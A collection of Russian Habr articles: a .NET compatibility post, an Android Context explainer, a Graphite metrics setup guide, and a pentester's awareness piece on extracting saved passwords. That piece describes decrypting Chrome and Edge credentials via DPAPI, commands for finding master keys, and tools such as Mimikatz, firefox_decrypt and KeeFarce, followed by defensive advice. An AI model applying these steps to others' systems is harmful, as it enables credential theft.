| System.Security.Permissions | Available | |
| System.Security.Principal.Windows | Available | Yes |
| System.ServiceModel.Duplex | Available | |
| System.ServiceModel.Http | Available | |
| System.ServiceModel.NetTcp | Available | |
| System.ServiceModel.Primitives | Available | |
| System.ServiceModel.Security | Available | |
| System.ServiceModel.Syndication | Coming | |
| System.ServiceProcess.ServiceBase | Coming | Yes |
| System.ServiceProcess.ServiceController | Available | Yes |
| System.Text.Encoding.CodePages | Available | Yes |
| System.Threading.AccessControl | Available | Yes |
А что делать с Windows-only API?
================================
> Страдать, чо.
Для танкистов. Не все API одинаково переносимы. Если ты остаешься на Windows, проблем никаких нет. Если же хочешь приобщиться к святости Ричарда Столлмана и Тима Кука на GNU/Linux и macOS соответственно, придется страдать.
Взглянув на табличку ништяков, видим: Windows-only компонентов там чуть ли не половина. Добрые Microsoft-боги, тем не менее, позволяют успешно компилировать такой код под любой платформой. При попытке использования несуществующей фичи мы наткнемся на `PlatformNotSupportedException` в рантайме, поэтому все такие фичи нужно будет густо обмазать вызовами `RuntimeInformation.IsOSPlatform()`:
```
private static string GetLoggingPath()
{
// Verify the code is running on Windows.
if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
{
using (var key = Registry.CurrentUser.OpenSubKey(@"Software\Fabrikam\AssetManagement"))
{
if (key?.GetValue("LoggingDirectoryPath") is string configuredPath)
return configuredPath;
}
}
// This is either not running on Windows or no logging path was configured,
// so just use the path for non-roaming user-specific data files.
var appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
return Path.Combine(appDataPath, "Fabrikam", "AssetManagement", "Logging");
}
```
Как же понять, какая API-шка будет работать только в Windows? Документацию ведь никто не читает, верно?
Дорогой мой любитель программирования копипастой со StackOverflow! Microsoft — боги суровые, но справедливые, поэтому буквально пару недель назад они запилили [API Analyzer tool](https://blogs.msdn.microsoft.com/dotnet/2017/10/31/introducing-api-analyzer/). С помощью Roslyn эта тула помечает Windows-only API, причем только тогда, когда целью выставлен .NET Core или .NET Standard.
Что делать с ошибками? Как было сказано ранее, страдать.
* Удалять непортируемый код. Зачем нужна фича, если она не запускается на macOS? :-)
* Усердно рефакторить код с помощью других, более кроссплатформенных API. Благо это обновление принесло таких во множестве.
* Расставить проверки на тип операционки в тех местах, где происходят GNU/Linux-специфичные вещи, которые просто не нужны в Windows.
В примере с картинки кто-то пытается вычитать настроечку в Реестре. Можно обернуть эту строчку в проверку, выполнять ее только на Windows. В GNU/Linux эквивалент этой строчки будет другим, куда более мучительным.
Заметьте, что *Windows Compatibility Pack* — это метапакет. В Microsoft отлично понимали, что обычные люди не будут мучиться с выискиванием отдельных мелких пакетиков и захотят перейти на новую платформу одним прыжком (с учетом оговорок выше). Тем не менее, если ты — вдумчивый крутой разработчик, то можно притаскивать фичи и поодиночке. Таким образом, можно будет выкинуть куда больше зависимостей на ненужный хлам.
Что дальше?
===========
Морально готовишься к портированию. Устанавливаешь [Windows Compatibility Pack](https://www.nuget.org/packages/Microsoft.Windows.Compatibility). Изучаешь ништяки, коих там более 20 тысяч, включая EventLog, WMI, Performance Counters, Windows Services итп.
Если хочешь сделать приложуху кроссплатформенной — запускаешь API Analyzer. Можно предварительно немного поплакать или тяпнуть водочки.
К сожалению, сейчас .NET Core не покрывает нужды десктопной разработки. Возможно, когда-нибудь это изменится. Но это уже совсем другая история.
Если же хочется больше узнать о .NET вообще и .NET Core в частности, ждем тебя на [DotNext 2018 Piter](https://dotnext-piter.ru/), которая пройдет, внезапно, в Питере. Очень советую к этой конфе уже попробовать что-нибудь запилить или портировать на Core, чтобы накопился пул вопросов к спикерам. | https://habr.com/ru/post/345136/ | null | ru | null |
# Context в Android приложении
### Что такое Context?
Как следует из названия, это контекст текущего состояния приложения или объекта. Это позволяет вновь созданным объектам понять, что вообще происходит. Обычно его вызывают, чтобы получить информацию о другой части программы.
Кроме того, `Context` является проводником в систему, он может предоставлять ресурсы, получать доступ к базам данных, преференсам и т.д. Ещё в Android приложениях есть `Activity`. Это похоже на проводник в среду, в которой выполняется ваше приложение. Объект `Activity` наследует объект `Context`. Он позволяет получить доступ к конкретным ресурсам и информации о среде приложения.
`Context` присутствует практически повсюду в Android приложении и является самой важной его частью, поэтому необходимо понимать, как правильно его использовать.
Неправильное использование `Context` может легко привести к утечкам памяти в Android приложении.
Существует много разных типов контекста, поэтому давайте разберёмся, что каждый из них представляет из себя, как и когда их правильно использовать.
### Контекст приложения
Это singleton-экземпляр (единственный на всё приложение), и к нему можно получить доступ через функцию `getApplicationContext()`. Этот контекст привязан к жизненному циклу приложения. Контекст приложения может использоваться там, где вам нужен контекст, жизненный цикл которого не связан с текущим контекстом или когда вам нужно передать контекст за пределы `Activity`.
Например, если вам нужно создать singleton-объект для вашего приложения, и этому объекту нужен какой-нибудь контекст, всегда используйте контекст приложения.
Если вы передадите контекст `Activity` в этом случае, это приведет к утечке памяти, так как singleton-объект сохранит ссылку на `Activity` и она не будет уничтожена сборщиком мусора, когда это потребуется.
В случае, когда вам нужно инициализировать какую-либо библиотеку в `Activity`, всегда передавайте контекст приложения, а не контекст `Activity`.
Таким образом, `getApplicationContext()` нужно использовать тогда, когда известно, что вам нужен контекст для чего-то, что может жить дольше, чем любой другой контекст, который есть в вашем распоряжении.
### Контекст Activity
Этот контекст доступен в `Activity` и привязан к её жизненному циклу. Контекст `Activity` следует использовать, когда вы передаете контекст в рамках `Activity` или вам нужен контекст, жизненный цикл которого привязан к текущему контексту.
### getContext() в ContentProvider
Этот контекст является контекстом приложения и может использоваться аналогично контексту приложения. К нему можно получить доступ через метод `getContext()`.
### Когда нельзя использовать getApplicationContext()?
* Это не полноценный контекст, поддерживающий всё, что может `Activity`. Некоторые вещи, которые вы попытаетесь сделать с этим контекстом, потерпят неудачу, в основном связанные с графическим интерфейсом.
* Могут появляться утечки памяти, если контекст из `getApplicationContext()` удерживается на каком-то объекте, который вы не очищаете впоследствии. Если же где-то удерживается контекст `Activity`, то как только `Activity` уничтожается сборщиком мусора, всё остальное тоже уничтожается. Объект `Application` остается на всю жизнь вашего процесса.
### Правило большого пальца
В большинстве случаев используйте контекст, доступный непосредственно из компонента, в котором вы работаете в данный момент. Вы можете безопасно хранить ссылку на него, если она не выходит за пределы жизненного цикла этого компонента. Как только вам нужно сохранить ссылку на контекст в объекте, который живет за пределами вашей `Activity` или другого компонента, даже временно, используйте ссылку на контекст приложения. | https://habr.com/ru/post/421115/ | null | ru | null |
# «Пароль неверный». Парольные менеджеры глазами хакера
Привет, Хабр! На проектах по пентестам нам часто удается получить доступ к корпоративному компьютеру «жертвы», а затем и добыть из него плохо защищенные пароли. К чему это приводит, все понимают. А как происходит такая компрометация — сегодня попробуем раскрыть.
***Внимание! Цель статьи*** — ***повышение осведомленности рядового пользователя и специалиста по ИБ в вопросе (без)опасности выбранного метода хранения паролей и рекомендация хороших альтернатив. Методы эксплуатации приведены исключительно в образовательных целях для понимания реальных угроз. Ни в коем случае не пробуйте эксплойты на чужом устройстве и/или чужом парольном менеджере*** — ***это неправильно как с точки зрения этики, так и закона. Подобные действия разрешено выполнять либо на своей системе, либо с разрешения владельца системы (лучше*** — ***письменного).***
### Чем плох браузер?
По результатам запроса в Google «***top internet browsers***» я выбрал три браузера для показательного примера:
* [***Firefox***](https://www.mozilla.org/ru/firefox/new/)
* [***Google Chrome***](https://www.google.com/chrome/)
* [***Microsoft Edge***](https://www.microsoft.com/ru-ru/edge)
***Простой, но нетехнический случай на пентесте.***
Пожалуй, один из наиболее известных способов подглядеть простой автозаполненный пароль — использовать замену типа элемента ввода пароля.
Переходим на страницу с логин-формой, от которой браузер хранит пароль, кликаем по полю с ~~паролем~~ кружочками правой кнопкой мыши, выбираем пункт ***Проверить***/***Inspect***/***Исследовать*** (названия из выбранных браузеров) и меняем у интересующего ***input***-элемента значение ***type="password***" на ***type="text***".
Пример манипуляций с элементом input в браузереЕсть и простой способ массово выгрузить пароли в исходном виде: если вы храните пароли в ***Firefox*** и не установили мастер-пароль, то можете легко выгрузить их все разом ~~без регистрации и смс~~, зайдя в **Настройки/Приватность/Логины и пароли/Сохраненные логины** (в ***MS Edge*** и ***Google Chrome*** на ***Linux*** так же).
#### А теперь углубимся в более «технические» способы
Графическое подключение можно получить не всегда. Чаще при проведении тестирования на проникновение мы хотим выгрузить данные из браузеров быстро и эффективно. Для этого нужно понимать, как устроено хранение паролей в целевом браузере.
Раньше ***Google Chrome*** хранил связанные с логин-формами данные в файле «***Web data***». В новых же версиях он хранит данные в файле базы данных ***SQLite*** «***Login Data***», находящемся в папке пользователя. Адреса сайтов и имена пользователя хранятся в читаемом виде, а пароли зашифрованы. На ***Windows***-системах ***Google Chrome*** шифрует данные с помощью функции ***CryptProtectData***, встроенной в ***Windows DPAPI*** (***Data Protection API***).
***DPAPI*** — это функционал ***Windows*** для управления защитой «секретов». Шифрование производится симметрично (чем зашифровали, тем и расшифровываем), ключ шифрования основан на пользовательских аутентификационных данных в системе. С помощью ***DPAPI*** защищаются данные в веб-браузерах (***Internet Explorer***, ***Microsoft Edge***, ***Google Chrome***), в почтовых клиентах (***Outlook***, ***Windows Mail***), в приложениях ***Skype***, ***Dropbox*** и пр. — применений много.
Есть и функция расшифрования «секретов» — ***CryptUnprotectData***. Так как ключ шифрования основан на пользовательских аутентификационных данных в системе, расшифрование от лица пользователя — простейшая задача.
Разберемся на примере ***Google Chrome***.
Берем ключ шифрования «***encrypted\_key***» из файла ***C:\Users\\AppData\Local\Google\Chrome\User Data\Local State***. Он зашифрован с помощью ***DPAPI***, но при доступе от имени пользователя это неважно.
Ключ для расшифрования паролей есть — полдела сделаноЗашифрованные пароли хранятся в базе данных ***SQLite*** по пути ***C:\Users\\AppData\Local\Google\Chrome\User Data\Default\Login Data***.
URL, логины и шифрованные секреты: всё, что нужно, — в одном файле.В шифрованной последовательности из файла **Login Data** содержатся сразу две величины: с ***4-го*** по ***20-й*** символ — второй секрет, а с ***21-го*** символа по ***17***-***й*** с конца — сам шифрованный симметричным алгоритмом ***AES***-пароль. Таким образом, у нас есть оба секрета (ключ, второй секрет) и пароль. Это всё, что требуется для получения исходных паролей!
Так как ***Microsoft Edge*** создан на том же «движке», что и ***Google Chrome***, для него меняется лишь путь: ***C:\Users\\AppData\Local\Microsoft\Edge\User Data***.
Для ознакомления прилагаю пример ***Python***-скрипта, быстро выгружающего данные из ***Google Chrome*** и ***Microsoft Edge*** (только для данного пользователя):
Для выгрузки паролей из браузера существуют и специальные ***Metasploit***-модули, к примеру, для Chrome: ***post/windows/gather/credentials/chrome***.
[**<Ссылка на Python-скрипт>**](https://gist.github.com/neonfury/a34a2aadc7c084f08cb046728cd25b54)
Такой скрипт может быть упакован в обычный ***EXE***-файл без дополнительных зависимостей и может быть написан на других языках.
Пример вывода скрипта выше #### Как выгружаются данные другого пользователя из Google Chrome, MS Edge?
Бывает ситуация: нашли резервную копию папки ***AppData*** интересного пользователя или получили к ней доступ иным образом. Что можно сделать — расскажем по-пентестерски.
По пути ***C:\Users\\AppData\Roaming\Microsoft\Protect\*** лежит мастер-ключ, используемый для шифрования паролей пользователя:
```
wmic useraccount get name,sid # Перечислить имена аккаунтов в системе и их SID
ls C:\Users\\AppData\Roaming\Microsoft\Protect\ -h # Найти зашифрованный мастер-ключ
```
Утилитой [***DPAPImk2john.py***](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) из **SID** и **зашифрованного мастер-ключа** пользователя получаем **хэш пароля пользователя** и подбираем его ***пароль от операционной системы***. При наличии доступа к ПК этого пользователя заходим в его аккаунт и выгружаем пароли ранее описанным способом. Но если есть только папка ***AppData***, то с помощью инструмента [***Mimikatz***](https://github.com/gentilkiwi/mimikatz) (модуль **dpapi::masterkey**) достаем **зашифрованный мастер-ключ**, **SID**, **системный пароль** и **расшифровываем мастер-ключ**.
Затем берем зашифрованный **encrypted\_key** из папки браузера, переводим его из кодировки **base64** в байтовое представление и расшифровываем с помощью модуля **dpapi::blob** (понадобится **расшифрованный мастер-ключ)**. Готово, пароли получены!
*Что можно сказать о защите паролей Google Chrome, MS Edge на Linux?*
На ***Linux***, браузеры ***Google Chrome*** и ***Microsoft Edge*** не имеют доступа к ***DPAPI***, поэтому шифруют данные самостоятельно. При этом выгрузка паролей из этих браузеров происходит «без вопросов». То есть если на проекте мы получили доступ к системе, то удаленно подключаемся к графическому окружению (к примеру, по ***vnc***) и вручную выгружаем все пароли в несколько кликов средствами самого браузера!
#### Как защищает пароли Firefox?
Как вы могли заметить, мы не обсудили ***Firefox***. Дело в том, что он эксплуатируется одинаково на разных платформах. Путь до папки с ***Firefox***-профилями в ***Windows*** будет следующим: ***C:\Users\\AppData\Roaming\Mozilla\Firefox\Profiles***. В ***Linux***: ***~/.mozilla/firefox/Profiles***. В папке профиля пользователя находится файл ***logins.json***, хранящий адреса логин-форм и зашифрованные по стандарту **PKCS #11** имя пользователя с паролем. Для шифрования ***Firefox*** пользуется собственной библиотекой **NSS**, которая находится в папке браузера: **nss3.dll** в ***Windows***, **libnss3.so** в ***Linux*** и **libnss3.dylib** в ***Mac***.
Для расшифрования с помощью ***NSS*** потребуется считать зашифрованные имена и пароли из папки профиля и использовать ***NSS*** для получения имен и паролей в исходном виде. Если декодирование проводится на том же устройстве, то больше ничего не требуется. По сути, ключ для шифрования — само устройство.
Хороший инструмент для получения паролей из ***Firefox*** на пентесте — [***firefox\_decrypt***](https://github.com/unode/firefox_decrypt).
Пример вывода firefox\_decrypt — Windows (10)Благодаря тому, что ***Firefox*** использует собственную библиотеку для шифрования, на ***Linux-*** и ***Mac***-системах ситуация никак не отличается.
Пример вывода firefox\_decrypt — Linux (Debian 11)#### Можно ли усилить браузерный менеджер паролей?
В ***Google Chrome*** подобные настройки отсутствуют в принципе. В ***Microsoft Edge*** есть лишь настройки защиты паролем функции автозаполнения, а не самих паролей. Как можно догадаться, от скрипта выше такие функции не защитят. В отличие от предыдущих браузеров, ***Firefox*** позволяет (и даже [***рекомендует***](https://support.mozilla.org/en-US/kb/where-are-my-logins-stored)) защищать свои пароли мастер-паролем. Доступна эта возможность по пути ***Настройки***/***Приватность и защита***/***Логины и пароли***/***Использовать основной пароль***. Сразу после установки мастер-пароля все сохраненные пароли защищаются уже с его помощью.
Хоть Firefox не подвел!Но если при пентесте обнаруживаем подобный защищенный файл, то не всё потеряно — ведь мы можем провести атаку на перебор мастер-пароля.
Вот что бывает, если удалось подобрать мастер-пароль (скриншот для Windows 10, но на Linux ситуация не отличается)Нужно учитывать, что многие парольные менеджеры, включая все три рассмотренных браузера, уязвимы к выгрузке паролей из памяти. Если же парольный менеджер шифрует пароли мастер-ключом (как в ***Firefox***), то уязвимость актуальна, только когда база разблокирована (после ввода мастер-пароля). Для проверки своего браузера можете сохранить в нем данные, затем с помощью [***Process Hacker***](https://processhacker.sourceforge.io/downloads.php) раскрыть процесс открытого браузера, на вкладке «***Memory***» нажать кнопку «***Strings...***», далее «***Ok***», в открывшемся окне кликнуть «***Filter***» и выбрать «***Contains***», попробовать ввести пароль, и его можно будет найти в памяти процесса.
Пусть человеку такое найти и непросто — большинство вредоносных программ сможетКак вы могли убедиться, ***Firefox*** + мастер-пароль являются более безопасной комбинацией. Но я рекомендую всё же рассмотреть альтернативу в виде менеджеров паролей, не встроенных в браузер: как из-за дополнительного функционала (хранение секретов, не связанных с логин-формами), так и из-за дополнительных настроек безопасности.
#### Менеджеры паролей как браузерные расширения
Расширения обычно хранят пароли на серверах разработчика. Пароли зашифровываются/расшифровываются на компьютере пользователя его мастер-ключом. Мастер-ключ не покидает компьютер пользователя, поэтому за нешифрованное хранение паролей можно сильно не беспокоиться.
Обычно, если при пентесте попадаются такие менеджеры паролей, то пароли из них удается извлечь, если они уже разблокированы, если получен мастер-пароль и на парольном менеджере не настроена двухфакторная аутентификация, либо при успешной атаке типа «человек посередине».
Для пользователя можно выделить скорее сопутствующие риски у расширений:
* Серверы сервиса могут оказаться недоступны, тогда пользователь потеряет доступ к паролям. К примеру, в 2020 году пользователи ***LastPass*** временно потеряли доступ к своим паролям. Без подключения к интернету пароли также будут недоступны.
* Возможна утечка баз паролей пользователей сервиса. К примеру, в декабре 2022 года ***LastPass*** сообщил об утечке зашифрованных баз паролей как последствии атаки, проведенной ранее в этом же году.
* Сервис может прекратить свое существование — тогда все пароли могут быть утрачены.
* Неизвестно, что происходит со связанными с паролями данными. К примеру, сервис может отслеживать, когда и как пользователь обращается к нему, откуда и какие данные запрашивает, а затем использовать их в своих целях. Или может быть проведена «инсайдерская» атака, при которой недобросовестный сотрудник собирает из системы накопившиеся пользовательские данные.
* Риск перехвата зашифрованных паролей «на лету» и их расшифровки ничтожно мал, а атака выполнима только теми, у кого есть власть над такими процессами (администраторы сервера разработчика, персонал центра сертификации, выдавшего сертификат, по которому защищено соединение) и теми, у кого есть возможность провести атаку типа «человек посередине».
Пример популярного онлайн-решения такого типа — [***Bitwarden***](https://bitwarden.com/), обладающий множеством настроек безопасности, открытым исходным кодом, возможностью локального хранения паролей и установки двухфакторной аутентификации на случай, если кто-то всё же сможет завладеть вашим мастер-паролем.
#### Локальные менеджеры паролей
Локальные парольные менеджеры не несут многих рисков онлайн-менеджеров паролей: данные хранятся на нашем устройстве, а за безопасность базы паролей отвечает сам пользователь.
Если нужно держать свои пароли под контролем и сохранить свои «секреты», рекомендую рассмотреть [***KeePassXC***](https://keepassxc.org/)***,*** хотя на пентестах чаще встречается [***KeePass***](https://keepass.info/)***.*** Оба менеджера имеют открытый исходный код, хранят пароли локально (можно записать базу с паролями на компьютер или на съемный носитель), позволяют хранить как пароли, так и заметки, файлы и другие данные в надежно зашифрованном формате. ***KeePassXC*** задуман как кроссплатформенный менеджер паролей, это улучшенная версия предыдущего как с точки зрения безопасности, так и возможностей. Но, в отличие от ***KeePass***, ***KeePassXC*** не поддерживает плагины.
Для смартфонов тоже есть совместимые приложения:
* [***KeePass2Android***](https://play.google.com/store/apps/details?id=keepass2android.keepass2android) для ***Android***;
* [***Strongbox***](https://apps.apple.com/us/app/strongbox-password-safe/id897283731) для ***iPhone***.
Базы паролей формата ***KeePass*** настолько часто встречаются при тестировании и обладают такой высокой ценностью, что под них даже есть специальный режим атаки в ***Hashcat***, благодаря чему мастер-пароль можно подобрать довольно быстро.
Поэтому, когда парольный менеджер требует ввести будущий мастер-пароль от нового хранилища, помните, что от сложности этого пароля зависит безопасность всех хранимых данных.
Как выбирать хороший пароль:Слабый пароль («**admin1**», «**Qwerty1**», «**iloveyouverymuch**», «**P2$#s**», …) подбирается с помощью специального ПО (к примеру, «**hashcat**») за минуты, а иногда — и секунды. Часто это происходит из-за того, что подобный пароль часто встречается, из-за его малой длины и из-за того, что пароль состоит из комбинаций слов. Пароль также может оказаться слабым, если оказался в утечках.
Небольшой рецепт хорошего мастер-пароля: добавьте больших и маленьких символов в непредсказуемых местах, разбавьте цифрами и «посыпьте» специальными символами.
**Вот вам пример для вдохновения: R0s11@.pA&jkm9'sPT^#!$**
Чтобы запомнить подобный пароль, при его построении можно придумать несуществующее, но «звучащее» слово, попеременно писать его с помощью разных раскладок клавиатуры, заменить часть букв на цифры или на символы, находящиеся над соответствующими буквами на клавиатуре. А когда такой пароль станет слишком привычным, его можно заменить на еще более продуманный и сложный.
В настройках ***KeePass*** имеется опция ввода мастер-пароля в окружении «***Secure Desktop***». Рекомендую включить ее, так как это может спасти базу от кейлоггеров. Кроме того, имеются настройки для защиты с помощью ***Windows DPAPI*** (помните ***Google Chrome***?), что может сильно усложнить компрометацию паролей от лица другого пользователя.
По нашему опыту тестирований на проникновение, работники заказчика часто держат свою базу паролей в разблокированном виде значительно дольше, чем необходимо. Для компрометации разблокированных баз имеется инструмент [KeeFarce](https://github.com/denandz/KeeFarce), а для более сложных атак — [KeeThief](https://github.com/GhostPack/KeeThief). Требуется лишь запустить его на компьютере с разблокированной базой данных ***KeePass***.
Компрометация открытой базы с помощью KeeFarce в несколько кликов и пары секунд на извлечениеДля защиты в обеих версиях ***KeePass*** есть настройки автоблокировки. К примеру, в ***KeePass*** рекомендую выставить настройки «***Lock workspace after KeePass inactivity***», «***Lock workspace after global user inactivity***» и параметры из блока «***General***».
При этом столь действенные способы компрометации для ***KeePassXC*** найти значительно сложнее. Ради утоления интереса читателя [прикрепляю](https://keepassxc.org/blog/2019-02-21-memory-security/) блог-пост разработчиков на тему безопасности хранящихся в памяти данных. Вкратце — приложение очень хорошо защищает пароли :)
#### Давайте защищаться
*Несколько советов по «парольной» безопасности:*
* Из рассмотренных парольных менеджеров лучше всего себя проявили: локальный парольный менеджер [***KeePassXC***](https://keepassxc.org/), браузерное расширение с возможностями локального хранения [***Bitwarden***](https://bitwarden.com/) и парольный менеджер браузера [***Firefox***](https://www.mozilla.org/ru/firefox/new/) при настроенном мастер-пароле.
* Сильный мастер-пароль является одним из самых главных факторов защищенности парольного менеджера, но даже при использовании сильного мастер-пароля не стоит разбрасываться парольной базой.
* В случае, если злоумышленник получит мастер-пароль, базу защитит второй фактор.
* Важно настроить автоблокировку парольного менеджера. Если база разблокирована, то она подвержена большему числу угроз.
* У веб-сервисов бывают утечки, поэтому важно проверять, не оказались ли ваши данные в сети (и сменять пароль в случае утечки). Для этого можно воспользоваться сервисом [***haveibeenpwned.com***](https://haveibeenpwned.com/) или [***LeakCheck***](https://leakcheck.io/).
* Среди атак на пользователей широко распространен фишинг (зачастую выражается в виде поддельной страницы с просьбой ввода учетных данных). Так как браузеры и расширения по умолчанию «связывают» пароли с адресами логин-форм и предлагают автозаполнять формы только на сохраненных страницах, такие средства защищают от фишинга, не подставляя данные на поддельный сайт. Если вы пользуетесь локальным менеджером, то советую также настроить автозаполнение: по умолчанию оно может быть отключено.
* Браузеры практически не имеют настроек безопасности и удобного функционала. В свою очередь, менеджеры паролей в виде отдельных решений обладают множеством настроек в обеих «областях».
* Статья написана в первую очередь о базах паролей, используемых на конкретных системах, но если вы ищете парольный менеджер для корпоративной среды, то можно рассмотреть [***PasswordState***](https://www.clickstudios.com.au/) — это довольно мощный инструмент для корпоративных баз паролей.
В заключение хочу еще раз напомнить, что материал написан исключительно для повышения осведомленности в вопросе хранения паролей. Ни в коем случае не пробуйте приведенные выше действия на чужих системах без разрешения их владельца (лучше письменного). Экспериментируйте на своей собственной системе и со своим хранилищем паролей — так вы лучше усвоите материал и сможете понять, подходит ли вам тот или иной способ хранения паролей. Ну или идите работать пентестером — это интересно и законно😊
##### Роман Сливко
консультант по информационной безопасности, «Инфосистемы Джет» | https://habr.com/ru/post/713284/ | null | ru | null |
# Сбор и визуализация метрик приложения в Graphite и Graph-Explorer
Зачастую возникает необходимость отслеживать различные параметры работы приложения/сервиса. Например, интерес представляет количество запросов в секунду, среднее время ответа сервера, количество ответов сервера с различным HTTP-статусом (технические метрики), количество регистраций пользователей в час, количество платежных транзакций в минуту (бизнес-метрики) и пр. Без системы сбора метрик разработка и сопровождение продукта происходит практически вслепую.
Данная статья является руководством по настройке системы сбора и анализа метрик приложения на базе [Graphite](http://graphite.wikidot.com/) и [vimeo/graph-explorer](https://github.com/vimeo/graph-explorer).
Мотивация
---------
Система сбора метрик не является монолитом. При ее развертывании приходится иметь дело со значительным числом компонентов, каждый из которых каким-то образом взаимодействует с остальными, имеет свой конфигурационный файл и неповторимый способ запуска. Даже Graphite, сам по себе, состоит минимум из трех подсисем — демон сбора метрик (carbon), БД с метриками (whisper и др.) и веб-приложение для визуализации. Когда же необходимо добавить поддержку graph-explorer, все становится еще интереснее. Каждая из подсистем имеет свою обособленную документацию, но нигде нет документа, описывающего картину вцелом.
Метрики
-------
Метрика — это последовательность (числовых) значений во времени. Очень простая вещь по сути. Фактически есть некоторый строковый ключ и соответствующий ему ряд (sample1, time1), (sample2, time2),… Типичным для Graphite способом именования метрик является разделение строковых ключей на части при помощи символа "**.**", например, *stats.web.request.GET.time*. Graphite позволяет группировать метрики с общим префиксом, используя символ "**\***" при построении графиков. Очевидно, что это далеко не самый гибкий способ работы с ключами. Если понадобится добавить еще какой-либо компонент к ключу, это может поломать построение графиков. Например, приведение ключа из примера выше к виду *stats.web.**server1**.request.GET.time* нарушит общий префикс для исторических данных. Вторым существенным недостатком такого именования метрик является потенциальная неоднозначность их трактования. Куда более самодостаточными были бы метрики, обладающие ключами вида *service=web server=server1 what=request\_time unit=ms* с дальнейшей возможностью построения комбинированных графиков по общим тегам, а не только общим префиксам. К счастью, ребята из [vimeo](http://vimeo.github.io/graph-explorer/) придумали [metrics 2.0](http://metrics20.org/) и запили свой [graph-explorer](https://github.com/vimeo/graph-explorer), работающий поверх graphite. Основная идея — это логическое представление метрик, как сущностей с набором пар тег-значение. Каждая метрика в формате 2.0 все равно в конечном итоге преобразуется в обычный строковый ключ, разделенный точками и попадает в carbon, но предварительно в отдельном хранилище создается «индекс», хранящий информацию о соответствии этих ключей и пар тег-значение. Таким образом, пользуясь информацией из индексов, graph-explorer и реализует комбинирование различных метрик на одном графике.
Общий взгляд
------------
В общем виде система сбора метрик может быть представлена следующий диаграммой:
Таким образом, приложение (веб-сервис, демон, etc.), написанное не любом языке, через некоторый интерфейс (прослойку) отправляет метрики в коллектор, коллектор их частично агрегирует, вычисляет частоту обновления (опционально) и раз в некоторый промежуток времени отправляет их в carbon, который постепенно складывает их в хранилище. Веб-приложение тянет данные из хранилища (и частично из самого carbon) и строит для нас графики. Демон carbon на самом деле — это целых 3 демона: carbon-cache, carbon-relay и carbon-aggregator. В простейшем случае можно использовать carbon-cache. Реализацию carbon-relay можно использовать с целью шардирования (распределение нагрузки между несколькими carbon-cache) или реплицирования (отправка одних и тех же метрик на несолько carbon-cache). Демон carbon-aggregator умеет выполнять промежуточную обработку метрик перед отправкой их в хранилище. Данные метрик в carbon могут быть переданы по одному из двух форматов: в plain text (т.н. line protocol) на порт 2003 и сериализованные в pickle на порт 2004. При этом carbon-relay на выход отдает данные только в pickle (важно!).
Надстройка graph-explorer добавляет еще одно хранилище для т.н. индексов метрик. В качестве такого хранилища используется *elastic search*. Очевидно, что в каком-то месте представленной на диаграмме системы необходимо добавить звено, которое будет осуществлять «индексацию» метрик. Таким звеном является [carbon-tagger](https://github.com/vimeo/carbon-tagger). В итоге, система принимает следующий вид:
Стек технологий
---------------
Далее идет уже конкретика, в вашем случае возможно какой-то из компонентов будет заменен на другое решение.
* приложение на Python
* [statsd клиент](https://pypi.python.org/pypi/statsd) для Python
* [statsd](https://github.com/etsy/statsd)/[statsdaemon](https://gowalker.org/github.com/vimeo/statsdaemon)
* [graphite](http://graphite.wikidot.com/)
+ carbon-relay/[carbon-relay-ng](https://github.com/graphite-ng/carbon-relay-ng)
+ carbon-cache
+ whisper
+ webapp
* [carbon-tagger](https://github.com/vimeo/carbon-tagger)
* [graph-explorer](https://github.com/vimeo/graph-explorer)
Система предназначена для сбора именно метрик 2.0 с последующим их использованием в graph-explorer.
Установка
---------
Установка будет происходить в директорию /opt/graphite, являющуюся директорией по умолчанию. Часть компонентов написана на Go, так что его также придется предварительно установить и прописать соответствующие переменные окружения. Установка подразумевает, что Go в системе один. Если у вас установлено несколько версий Go, то этот шаг можете пропустить и настроить нужную версию по своему усмотрению.
```
cd /opt
wget https://storage.googleapis.com/golang/go1.4.2.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.4.2.linux-amd64.tar.gz
echo 'export PATH=$PATH:/usr/local/go/bin' >> /etc/profile
echo 'export GOPATH=/opt/go' >> /etc/profile
echo 'export GOBIN="$GOPATH/bin"' >> /etc/profile
echo 'export PATH=$PATH:$GOBIN' >> /etc/profile
source /etc/profile
go env
# Вывод должен содержать следующие строчки
#GOBIN="/opt/go/bin"
#GOPATH="/opt/go"
#GOROOT="/usr/local/go"
```
Также еще один важный момент при развертывании системы — внимательно следить за портами. Компонентов много, каждый использует по несколько портов и легко ошибиться, кого с кем связывать. Плюс большинство компонентов не обладает каким-либо встроенным механизмом авторизации и при этом по умолчанию слушают интерфейс 0.0.0.0. Поэтому настоятельно рекомендую везде, где это возможно менять интерфейс на локальный и закрывать все порты на сервере через iptables.
#### statsd python клиент
В качестве клиента, занимающегося отправкой метрик из приложения, выбран наиболее популярный [statsd](https://pypi.python.org/pypi/statsd). Его реализация бесконечно проста. Фактически, это отправка текстовых данных на указанный UDP/TCP-порт с добавлением минимальных протокольных служебных данных.
```
# внутри виртуального окружения приложения
pip install statsd
```
Пример использования в коде приложения:
```
import statsd
client = statsd.StatsClient(host='statsdaemon.local', port=8125)
# отправка метрики в metrics 2.0 формате tag_is_value
client.gauge('service_is_myapp.server_is_web1.what_is_http_request.unit_is_ms', )
```
#### statsd
В «классической» схеме установки graphite зачастую в качестве промежуточного коллектора используется statsd. В нашем случае использован [statsdaemon](https://gowalker.org/github.com/vimeo/statsdaemon), так как он из коробки умеет работать с метриками 2.0, при этом сохраняя обратную совместимость с протоколом statsd. Он написан на Go и его установка чрезвычайно проста (осторожно, сейчас в README.md досадная ошибка в команде установки):
```
go get github.com/Vimeo/statsdaemon/statsdaemon
```
После этого в директории /opt/go/bin должен появиться исполняемый файл statsdaemon. Настройки этого демона достаточно просты:
**statsdaemon.ini**
```
# --- /etc/statsdaemon.ini ---
listen_addr = ":8125" # сюда будет слать метрики statsd-клиент (приложение)
admin_addr = ":8126"
graphite_addr = "carbon.local:2013" # адрес carbon для агрегированных метрик, раз в flush_interval сек
flush_interval = 30
prefix_rates = "stats."
prefix_timers = "stats.timers."
prefix_gauges = "stats.gauges."
percentile_thresholds = "90,75"
max_timers_per_s = 1000
```
Запуск statsdaemon:
```
statsdaemon -config_file="/etc/statsdaemon.ini" -debug=true
```
На этом этапе уже можно запустить statsdaemon и послать в него несколько пакетов из приложения с помощью statsd-клиент. Вывод в консоль будет говорить сам за себя.
#### Graphite
